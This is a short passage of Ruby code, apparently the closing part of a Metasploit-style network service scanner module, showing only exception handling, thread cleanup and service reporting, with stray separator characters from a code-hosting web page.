rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect(s) rescue nil
|
||||
end
|
||||
end
|
||||
end
|
||||
t.each {|x| x.join }
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each {|x| x.kill rescue nil }
|
||||
end
|
||||
|
||||
r.each do |res|
|
||||
report_service(:host => res[0], :port => res[1], :state => res[2])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue